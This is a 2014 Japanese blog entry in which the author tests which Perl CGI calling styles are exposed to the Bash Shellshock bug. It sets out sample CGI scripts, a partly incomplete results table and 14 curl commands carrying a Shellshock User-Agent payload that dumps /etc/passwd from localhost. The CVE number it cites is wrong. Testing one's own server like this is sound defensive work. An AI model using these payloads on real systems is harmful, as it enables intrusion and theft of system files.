スペースモラトリアムノカミサマ

日記+コメント付きブックマーク+他人にも役に立つかもしれない情報など。
(更新情報: RSS(ツッコミ付き) / RSS(ツッコミ抜き) / LIRS)

最近の TrackBack:
2004|01|02|03|04|05|06|07|08|09|10|11|12|
2005|01|02|03|04|05|06|07|08|09|10|11|12|
2006|01|02|03|04|05|06|07|08|09|10|11|12|
2007|01|02|03|04|05|06|07|08|09|10|11|12|
2008|01|02|03|04|05|06|07|08|09|10|11|12|
2009|01|02|03|04|05|06|07|08|09|10|11|12|
2010|01|02|03|04|06|07|08|09|10|
2011|01|02|03|07|10|11|
2012|02|03|04|07|08|09|
2013|01|06|07|
2014|02|08|09|11|
2015|09|
2016|01|05|
2017|07|

2014/09/29

_ [セキュリティ] Perl CGI 中での Bash "Shellshock" 脆弱性 (CVE-2014-6721) 影響有無を確認した

BASHの脆弱性でCGIスクリプトにアレさせてみましたを元に、もう少し突っ込んで各種 CGI スクリプトが影響を受けるかどうかのテストを行った。

試験環境

CentOS 6.5

Perl 5.10.1 (perl-5.10.1-136.el6.i686)

結果

sh スクリプト

× (当然)

perl スクリプト (外部コマンド実行なし)

perl スクリプト (外部コマンド実行あり)
引数なしあり (引用符なし)あり (引用符あり)
バッククォート×
open によるパイプ入力×
open によるパイプ出力×
system 関数×

引数ありで、それを引用符で囲っている場合のみ影響を受けることが確認できた。

なお、

system LIST
system PROGRAM LIST
(略) スカラの引数が一つだけの場合、引数はシェルのメタ文字をチェックされ、もし あればパースのために引数全体がシステムコマンドシェル (これは Unix プラットフォームでは /bin/sh -c ですが、他のプラットフォームでは 異なります)に渡されます。 シェルのメタ文字がなかった場合、引数は単語に分解されて直接 execvp に 渡されます; この方がより効率的です。

[Perlの組み込み関数 system の翻訳より引用]

によると、引用符があるかどうかではなく、メタ文字があるかどうかが生死を分けるポイントとのこと。

使用したコード
sstest-sh.cgi
#!/bin/sh
echo "Content-type: text/plain"
echo
echo "foo"
sstest-perl.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print "foo\n";
sstest-perl-backquote-arg0.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print `/bin/pwd`;
sstest-perl-backquote-arg1.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print `/bin/echo foo`;
sstest-perl-backquote-arg1-quote.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print `/bin/echo "foo"`;
sstest-perl-open-pipein0.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
open FH, '/bin/pwd |';
print <FH>;
close FH;
sstest-perl-open-pipein1.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
open FH, '/bin/echo foo |';
print <FH>;
close FH;
sstest-perl-open-pipein1-quote.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
open FH, '/bin/echo "foo" |';
print <FH>;
close FH;
sstest-perl-open-pipeout0.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
open FH, '| /bin/cat';
close FH;
print "done.\n";
sstest-perl-open-pipeout1.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
open FH, '| /bin/echo foo';
close FH;
print "done.\n";
sstest-perl-open-pipeout1-quote.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
open FH, '| /bin/echo "foo"';
close FH;
print "done.\n";
sstest-perl-system-arg0.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
system '/bin/pwd';
sstest-perl-system-arg1.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
system '/bin/echo foo';
sstest-perl-system-arg1-quote.cgi
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
system '/bin/echo "foo"';
テスト実行コマンド
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-sh.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-backquote-arg0.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-backquote-arg1.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-backquote-arg1-quote.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipein0.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipein1.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipein1-quote.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipeout0.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipeout1.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-open-pipeout1-quote.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-system-arg0.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-system-arg1.cgi
curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/sstest-perl-system-arg1-quote.cgi